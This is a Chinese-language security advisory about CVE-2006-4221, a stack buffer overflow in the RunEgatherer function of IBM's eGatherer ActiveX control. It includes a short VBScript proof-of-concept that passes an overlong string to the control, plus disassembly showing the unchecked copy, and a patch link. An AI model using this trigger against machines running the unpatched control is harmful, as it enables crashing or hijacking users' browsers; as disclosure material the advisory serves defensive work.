首页 -> 安全研究

安全研究

安全漏洞
IBM eGatherer ActiveX控件代码执行漏洞

发布日期:2006-08-16
更新日期:2006-08-17

受影响系统:
IBM eGatherer < 3.20.0284.0
不受影响系统:
IBM eGatherer 3.20.0284.0
描述:
BUGTRAQ  ID: 19554
CVE(CAN) ID: CVE-2006-4221

IBM eGatherer控件是IBM用于自动维护PC的解决方案。

eGatherer控件的RunEgatherer函数实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

这个函数会接受eGatherer日志输出的指定文件名。即使已经为输出设置了合法的路径参数,ActiveX仍会向SystemDrive写入日志文件。如果攻击者能够发送超长的参数的话,就会触发栈溢出漏洞,导致执行任意代码。

<*来源:Andre Derek Protas
  
  链接:http://www.eeye.com/html/research/advisories/AD20060816.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<object classid='clsid:74FFE28D-2378-11D5-990C-006094235084' id='notCompromising'></object>
<script language='vbscript'>
overflowBuffer=String(300,"A")
notCompromising.RunEgatherer overflowBuffer </script>

漏洞代码如下:

.text:10003B73 push dword ptr [ebp+0Ch] ; lpString
.text:10003B76 call ds:lstrlenW
.text:10003B7C lea edi, [eax+eax+2]
.text:10003B80 mov eax, edi
.text:10003B82 add eax, 3
.text:10003B85 and al, 0FCh
.text:10003B87 call __alloca_probe
.text:10003B8C mov esi, esp
.text:10003B8E push ebx ; lpUsedDefaultChar = 0x0
.text:10003B8F push ebx ; lpDefaultChar = 0x0
.text:10003B90 push edi ; cchMultiByte = 1002 (eax*2 + 2)
.text:10003B91 push esi ; lpMultiByteStr = ESP (STACK)
.text:10003B92 push 0FFFFFFFFh ; cchWideChar = -1
.text:10003B94 push dword ptr [ebp+0Ch] ; lpWideCharStr = ptr to our string
.text:10003B97 mov [esi], bl
.text:10003B99 push ebx ; dwFlags = 0x0
.text:10003B9A push ebx ; CodePage = 0x0
.text:10003B9B call ds:WideCharToMultiByte

字符串的栈分配导致了这个漏洞:

.text:10003BA1 lea eax, [ebp-118h]
.text:10003BA7 push esi ; unsigned __int8 *
.text:10003BA8 mov esi, ds:_mbscpy
.text:10003BAE push eax ; unsigned __int8 *
.text:10003BAF call esi ; _mbscpy
.text:10003BB1 lea eax, [ebp-118h]
.text:10003BB7 pop ecx
.text:10003BB8 test eax, eax
.text:10003BBA pop ecx
.text:10003BBB jz short loc_10003C23
.text:10003BBD lea eax, [ebp-118h]
.text:10003BC3 push eax ; unsigned __int8 *
.text:10003BC4 call sub_10003C45 ; TOLOWER SUBROUTINE

最初的字符串没有变化,但所有之后的操作都会在小写字符串上执行。由于没有对字符串执行长度检查,因此可能将内存直接拷贝到过小的栈缓冲区,导致溢出。

建议:
厂商补丁:

IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www-307.ibm.com/pc/support/IbmEgath.cab

浏览次数:2779
严重程度:1(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障